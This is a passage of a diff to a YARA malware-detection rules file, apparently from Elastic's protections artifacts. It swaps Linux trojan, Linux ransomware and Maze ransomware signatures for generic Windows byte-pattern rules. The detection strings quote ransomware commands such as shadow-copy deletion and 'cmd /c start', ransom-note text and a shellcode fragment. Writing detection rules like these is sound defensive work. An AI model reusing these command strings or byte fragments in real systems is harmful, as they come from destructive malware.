+		$a1 = { 28 00 00 0A 20 B8 0B 00 00 20 10 27 00 00 6F 29 00 00 0A 28 1F 00 00 0A 7E 0F 00 00 04 2D 0A 28 27 00 00 06 28 19 00 00 06 7E 15 00 00 04 6F 2A 00 00 0A 26 17 2D C8 2A EE 16 80 0F 00 00 04 14 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dofloo_29C12775 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_808F680E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dofloo (Linux.Trojan.Dofloo)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "29c12775-b7e5-417d-9789-90b9bd4529dd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "808f680e-db35-488f-b942-79213890b336"
+		date = "2024-01-10"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dofloo.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88d826bac06c29e1b9024baaf90783e15d87d2a5c8c97426cbd5a70ae0f99461"
-		logic_hash = "a8eb79fdf57811f4ffd5a7c5ec54cf46c06281f8cd4d677aec1ad168d6648a08"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L894-L912"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "df6955522532e365239b94e9d834ff5eeeb354eec3e3672c48be88725849ac1c"
+		logic_hash = "22d91a87c01b401d4a203fbabb93a9b45fd6d8819125c56d9c427449b06d2f84"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fbf49f0904e22c4d788f151096f9b1d80aa8c739b31705e6046d17029a6a7a4f"
-		severity = 100
+		fingerprint = "4b4b3b244d0168b11a8df4805f9043c6e4039ced332a7ba9c9d0d962ad6f6a0e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 00 2F 7E 49 00 64 80 49 00 34 7F 49 00 04 7F 49 00 24 80 49 }
+		$a1 = { 28 00 00 0A 20 00 00 00 00 FE 01 2A 13 30 02 00 6C 00 00 00 01 00 00 11 20 00 00 00 00 FE 0E 00 00 38 54 00 00 00 00 FE 0C 00 00 20 01 00 00 00 FE 01 39 12 00 00 00 FE 09 01 00 FE 09 02 00 51 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Ransomware_Erebus_Ead4F55B : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_073909Cf : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Erebus (Linux.Ransomware.Erebus)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "ead4f55b-a4c6-46ff-bc8e-03831a17df9c"
-		date = "2023-07-27"
-		modified = "2024-02-13"
+		id = "073909cf-7e0d-48fa-a631-e1b641040570"
+		date = "2024-01-10"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Erebus.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6558330f07a7c90c40006346ed09e859b588d031193f8a9679fe11a85c8ccb37"
-		logic_hash = "82e81577372298623ee3ed3583bb18b2c0cfff30abbacf2909e7efca35c83bd7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L914-L932"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "89a6dc518c119b39252889632bd18d9dfdae687f7621310fb14b684d2f85dad8"
+		logic_hash = "5b42a74010549c884ff85a67b9add6b82a8109a953473cc1439581976f8f545e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "571832cc76322a95244b042ab9b358755a1be19260410658dc32c03c5cae7638"
-		severity = 100
+		fingerprint = "717da3b409c002ff6c6428690faf6e6018daedfaf9ec95b6fb9884cacc27dc20"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "important files have been encrypted"
-		$a2 = "max_size_mb"
-		$a3 = "EREBUS IS BEST."
+		$a1 = { 83 C4 F0 53 56 89 55 FC 8B F0 8B 45 FC E8 CF E5 FF FF 33 C0 55 68 F2 39 40 00 64 FF 30 64 89 20 33 DB 68 04 3A 40 00 68 0C 3A 40 00 E8 70 FC FF FF 50 E8 82 FC FF FF 89 45 F8 68 18 3A }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Linux_Ransomware_Clop_728Cf32A : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_820Fe9C9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Clop (Linux.Ransomware.Clop)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "728cf32a-94c1-4979-b092-6851649946be"
-		date = "2023-07-27"
-		modified = "2024-02-13"
+		id = "820fe9c9-2abc-4dd5-84e2-a74fbded4dc6"
+		date = "2024-01-11"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_Clop.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "09d6dab9b70a74f61c41eaa485b37de9a40c86b6d2eae7413db11b4e6a8256ef"
-		logic_hash = "31c2fdfcfc46ad1dd69489536172937b9771d8505f36c7bd8dc796f40a2fe4d2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L934-L952"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1102a499b8a863bdbfd978a1d17270990e6b7fe60ce54b9dd17492234aad2f8c"
+		logic_hash = "81a1359bd5781e1eefb6ae06c6b2ad9e94cc6318c1f81f84c06f0b236b6e84d1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "86644f9f1e9f0b69896cd05ae1442a3b99483cc0ff15773c0c3403e59b6d5c97"
-		severity = 100
+		fingerprint = "e43f4fee9e23233bf8597decac79bda4790b5682f5e0fe86e3a13cb18724ea3e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "CONTACT US BY EMAIL:"
-		$a2 = "OR WRITE TO THE CHAT AT->"
-		$a3 = "(use TOR browser)"
-		$a4 = ".onion/"
+		$a1 = { 2E 2A 73 74 72 75 63 74 20 7B 20 46 20 75 69 6E 74 70 74 72 3B 20 58 30 20 63 68 61 6E 20 73 74 72 69 6E 67 3B 20 58 31 20 62 6F 6F 6C 20 7D }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Maze_61254061 : BETA FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_89Efd1B4 : FILE MEMORY
 {
 	meta:
-		description = "Identifies MAZE ransomware"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "61254061-e8af-47ab-9cce-96debd99a80a"
-		date = "2020-04-18"
-		modified = "2021-08-23"
-		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Maze.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b8537add953cdd7bc6adbff97f7f5a94de028709f0bd71102ee96d26d55f4f20"
+		id = "89efd1b4-9a4b-4749-8b34-630883d2d45b"
+		date = "2024-01-11"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L954-L972"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "937c8bc3c89bb9c05b2cb859c4bf0f47020917a309bbadca36236434c8cdc8b9"
+		logic_hash = "49a7875fd9c31c5c9b593aed75a28fadb586294422b75c7a8eeba2e8ff254753"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "670d9abbdea153ca66f24ef6806f97e9af3efb73f621167e95606da285627d1b"
-		threat_name = "Windows.Ransomware.Maze"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "659bdc9af01212de3d2492e0805e801b0a00630bd699360be15d3fe5b221f6b3"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$c1 = { FC 8B 55 08 8B 44 8A 10 C1 E0 09 8B 4D FC 8B 55 08 8B 4C 8A 10 C1 }
-		$c2 = { 72 F0 0C 66 0F 72 D4 14 66 0F EB C4 66 0F 70 E0 39 66 0F FE E6 66 0F 70 }
+		$a1 = { 48 81 EC E0 01 00 00 48 89 9C 24 F8 01 00 00 48 83 F9 42 0F 85 03 01 00 00 48 89 84 24 F0 01 00 00 48 89 9C 24 F8 01 00 00 44 0F 11 BC 24 88 01 00 00 44 0F 11 BC 24 90 01 00 00 44 0F 11 BC 24 }
 
 	condition:
-		1 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Maze_46F40C40 : BETA FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_61315534 : FILE MEMORY
 {
 	meta:
-		description = "Identifies MAZE ransomware"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "46f40c40-05a4-4163-a62d-675882149781"
-		date = "2020-04-18"
-		modified = "2021-10-04"
-		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Maze.yar#L23-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "99180f41aaaf1dfb0a8a40709dcc392fdbc2b2d3a4d4b4a1ab160dd5f2b4c703"
+		id = "61315534-9d80-428b-bc56-ff4836ab0c4a"
+		date = "2024-01-11"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L974-L992"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "819447ca71080f083b1061ed6e333bd9ef816abd5b0dd0b5e6a58511ab1ce8b9"
+		logic_hash = "0fdfe3bb6ebdaac4324a45dac8680f00684d0030419f26f3f72ed002bf5a2a34"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "efe1e0d23fbfd72fd2843a9c8d5e62394ef8c75b9a7bd03fdbb36e2cf97bf12e"
-		threat_name = "Windows.Ransomware.Maze"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "e5cff64bc04b271237015154ddeb275453536ffa8cbce60389b6ed37e6478788"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$b1 = "Dear %s, your files have been encrypted by RSA-2048 and ChaCha algorithms" wide fullword
-		$b2 = "Maze Ransomware" wide fullword
-		$b3 = "%s! Alert! %s! Alert! Dear %s Your files have been encrypted by %s! Attention! %s" wide fullword
+		$a1 = { 55 8B EC 51 51 8A 4D 08 F6 C1 01 74 0A DB 2D B0 D7 41 00 DB 5D 08 9B F6 C1 08 74 10 9B DF E0 DB 2D B0 D7 41 00 DD 5D F8 9B 9B DF E0 F6 C1 10 74 0A DB 2D BC D7 41 00 DD 5D F8 9B F6 C1 04 74 09 }
 
 	condition:
-		2 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Maze_20Caee5B : BETA FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Eab96Cf2 : FILE MEMORY
 {
 	meta:
-		description = "Identifies MAZE ransomware"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "20caee5b-cf7f-4db7-8c3b-67baf63bfc32"
-		date = "2020-04-18"
-		modified = "2021-08-23"
-		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Maze.yar#L46-L71"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e09c059b285d2176aeba1a1f70d39f13cef4e05dc023c7db25fb9d92bd9a67d9"
+		id = "eab96cf2-f25a-4149-9328-3f7af50b2ad8"
+		date = "2024-01-11"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L994-L1012"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2be8a2c524f1fb2acb2af92bc56eb9377c4e16923a06f5ac2373811041ea7982"
+		logic_hash = "cc1dfc2c9c5e1fbc6282342dfbf3a6c834fa56fb6fc46569a24fa78535c5845f"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "47525839e0800f6edec6ad4580682a336e36f7d13bd9e7214eca0f16941016b8"
-		threat_name = "Windows.Ransomware.Maze"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "a07bbc803aa7ae54d0c0b2b15edf8378646f06906151998ac3d5491245813dd9"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "Win32_ShadowCopy.id='%s'" wide fullword
-		$a2 = "\"%s\" shadowcopy delete" wide fullword
-		$a3 = "%spagefile.sys" wide fullword
-		$a4 = "%sswapfile.sys" wide fullword
-		$a5 = "Global\\%s" wide fullword
-		$a6 = "DECRYPT-FILES.txt" wide fullword
-		$a7 = "process call create \"cmd /c start %s\"" wide fullword
+		$a1 = { 20 41 52 FF E0 58 41 59 5A 48 8B 12 E9 4B FF FF FF 5D 48 31 DB 53 49 BE 77 69 6E 68 74 74 70 00 41 56 48 89 E1 49 C7 C2 4C 77 26 07 FF D5 53 53 48 89 E1 53 5A 4D 31 C0 4D 31 C9 53 53 }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Maze_F88F136F : BETA FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_11A56097 : FILE MEMORY
 {
 	meta:
-		description = "Identifies MAZE ransomware"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f88f136f-755c-46d6-9dbe-243342ae315a"
-		date = "2020-04-18"
-		modified = "2021-08-23"
-		reference = "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Maze.yar#L73-L94"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5587f332a076650f6ad7b1e3b464ef6085d960e6dacf53607cf75c9f9ad07628"
+		id = "11a56097-c019-43dc-b401-c3bd5e88ce17"
+		date = "2024-01-12"
+		modified = "2024-02-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1014-L1033"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "98d538c8f074d831b7a91e549e78f6549db5d2c53a10dbe82209d15d1c2e9b56"
+		logic_hash = "42f955c079752c787ac70682bc41fa31f3196d30051d7032276a0d4279d59d58"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "3fa065d28d864868e49b394e895207c8be2252a9e211ac4bacce10d9ff04607e"
-		threat_name = "Windows.Ransomware.Maze"
-		severity = 100
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "37fda03cc0d50dc8bf6adfb83369649047e73fe33929f6579bf806b343eb092c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$d1 = { 00 67 00 20 00 69 00 6E 00 73 00 74 00 72 00 75 00 63 00 74 00 69 00 6F 00 6E 00 73 00 20 00 69 00 6E 00 20 00 44 00 45 00 43 00 52 00 59 00 50 00 54 00 2D 00 46 00 49 00 4C 00 45 00 53 00 2E }
-		$d2 = { 70 C7 8B 75 6D 97 7E FC 19 2A 39 8C A4 AE AD 9C 62 05 B7 68 47 7D 02 F7 D3 0A DA 20 82 AE A8 E7 B2 26 E1 A0 5B 4E 17 09 A6 94 74 CA B6 0B 88 B0 5F 6E 11 E3 B0 EA 2F 40 D7 A2 AB 59 52 E0 F2 C2 19 24 14 95 01 7F CA }
-		$d3 = { 77 B3 50 3C B1 9B 5D D4 87 F5 17 DB E1 C7 42 D8 53 24 C2 E2 6A A8 9B 1E FB E5 48 EB 10 48 44 28 64 F8 B6 A1 41 44 D0 42 FA 85 6F 17 57 09 C4 66 93 D2 21 C5 19 71 3A A1 C5 68 2E 67 B1 02 DC D1 }
+		$a1 = { 6E 6F 69 74 70 65 63 78 45 74 61 6D 72 6F 46 65 67 61 6D 49 64 61 42 }
+		$a2 = { 65 74 75 62 69 72 74 74 41 65 74 65 6C 6F 73 62 4F }
 
 	condition:
-		1 of ($d*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Kinsing_196523Fa : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_F3Bef434 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "196523fa-2bb5-4ada-b929-ddc3d5505b73"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f3bef434-0688-4672-a02f-40615cc429b1"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kinsing.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "baa5808fcf22700ae96844dbf8cb3bec52425eec365d2ba4c71b73ece11a69a2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1035-L1053"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "98d538c8f074d831b7a91e549e78f6549db5d2c53a10dbe82209d15d1c2e9b56"
+		logic_hash = "efba0e1fbe6562a9aeaac23b851c31350e4ac6551e505be4986bddade92ca303"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "29fa6e4fe5cbcd5c927e6b065f3354e4e9015e65814400687b2361fc9a951c74"
-		severity = 100
+		fingerprint = "a05dfdf2f8f15335acb2772074ad42f306a4b33ab6a19bdac99a0215820a6f7b"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 64 65 38 5F 00 64 48 8B 0C 25 F8 FF FF FF 48 3B 61 10 76 35 48 83 }
+		$a1 = { 6F 70 00 06 EB 72 06 26 0A 00 01 45 6F 04 00 00 8F 7B 02 06 26 0A 00 01 44 6F 70 00 06 D5 72 00 00 00 B8 38 1D 2C EB 2C 1A 00 00 00 B8 38 14 04 00 00 8F 7B 00 00 00 BD 38 32 2C 00 00 00 BE 38 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Kinsing_7Cdbe9Fa : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_C6F131C5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7cdbe9fa-39a3-43a0-853a-16f41e20f304"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "c6f131c5-8737-4f48-a0fe-a94e9565481e"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kinsing.yar#L20-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b3527e3d03a30fcf1fdaa73a1b3743866da6db088fbfa5f51964f519e22d05e6"
-		logic_hash = "c6f5d2cf0430301ec0eae57808100203b69428f258e0e6882fecbc762d73f4bf"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1055-L1073"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "247314baaaa993b8db9de7ef0e2998030f13b99d6fd0e17ffd59e31a8d17747a"
+		logic_hash = "5702a77fee0cd564916abdbfedf76d069bb7a5b6de0c4623150991d52dc02e42"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2452c2821b4ca104a18d3733ee8f6744a738aca197aa35392c480e224a5f8175"
-		severity = 100
+		fingerprint = "c4349bd78cdc64430d15caf7efd663ff88d79d69ecf9f8118122b9a85543057d"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 73 2E 72 75 22 20 7C 20 61 77 6B 20 27 7B 70 72 69 6E 74 20 }
+		$a1 = { 20 48 8B 59 08 8B 13 44 8B 43 04 48 83 C3 08 89 D0 44 09 C0 74 07 E8 B6 FF FF FF EB E8 48 83 C4 20 5B C3 53 45 31 DB BB 0D 00 00 00 48 8B 41 10 45 89 DA 49 C1 E2 04 4A 83 3C 10 00 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Kinsing_2C1Ffe78 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B2A054F8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "2c1ffe78-a965-4a70-8a9c-2cad705f8be7"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "b2a054f8-160f-4932-b5fe-c7d78a1f9b74"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kinsing.yar#L40-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b3527e3d03a30fcf1fdaa73a1b3743866da6db088fbfa5f51964f519e22d05e6"
-		logic_hash = "9561511710eef5877c5afa49890b77fbad31a6e312b5cd33fc01f91ff2a73583"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1075-L1095"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "63d2478a5db820731a48a7ad5a20d7a4deca35c6b865a17de86248bef7a64da7"
+		logic_hash = "f64b1666f78646322a4c37dc887d8fcfdb275b0bca812e360579cefd9e323c02"
 		score = 75
-		quality = 73
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "6701b007ee14a022525301d53af0f4254bc26fdfbe27d3d5cebc2d40e8536ed6"
-		severity = 100
+		fingerprint = "09f1724963bfdde810b61d80049def388c89f6a21195e90a869bb22d19d074de"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 73 74 73 20 22 24 42 49 4E 5F 46 55 4C 4C 5F 50 41 54 48 22 20 22 }
+		$a1 = { 7E 38 7E 40 7E 44 48 4C 2A 7E 7E 58 5D 5C }
+		$a2 = { 39 7B 34 74 26 39 3A 62 3A 66 25 6A }
+		$a3 = { 5B 50 44 7E 66 7E 71 7E 77 7E 7C 7E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Kinsing_85276Fb4 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Fcab7E76 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kinsing (Linux.Trojan.Kinsing)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "85276fb4-11f4-4265-9533-a96b42247f96"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "fcab7e76-5edd-4485-9983-bcc5e9cb0a08"
+		date = "2024-01-12"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kinsing.yar#L60-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b3527e3d03a30fcf1fdaa73a1b3743866da6db088fbfa5f51964f519e22d05e6"
-		logic_hash = "6919afd133e7e369eece10ea79d9d17a1a3fbb6210593395e0be157f8c262811"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1097-L1115"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "67d7e016e401bd5d435eecaa9e8ead341aed2f373a1179069f53b64bda3f1f56"
+		logic_hash = "90f50d1227b8e462eaa393690dc2b25601444bf80f2108445a0413bff6bedae8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "966d53d8fc0e241250a861107317266ad87205d25466a4e6cdb27c3e4e613d92"
-		severity = 100
+		fingerprint = "8a01a3a398cfaa00c1b194b2abc5a0c79d21010abf27dffe5eb8fdc602db7ad1"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 65 5F 76 00 64 48 8B 0C 25 F8 FF FF FF 48 3B 61 10 76 38 48 83 }
+		$a1 = { 28 FA 00 2B CD 65 50 7C FF CF 34 00 80 41 BF 1E 12 1A F9 20 0F 56 EE 9F BA C0 22 7E 97 FC CB 03 C7 67 9A AE 8A 60 C0 B3 6C 0D 00 2B 2C 78 83 B5 88 03 17 3A 51 4A 1F 30 D2 C0 53 DC 09 7A BF 2D }
 
 	condition:
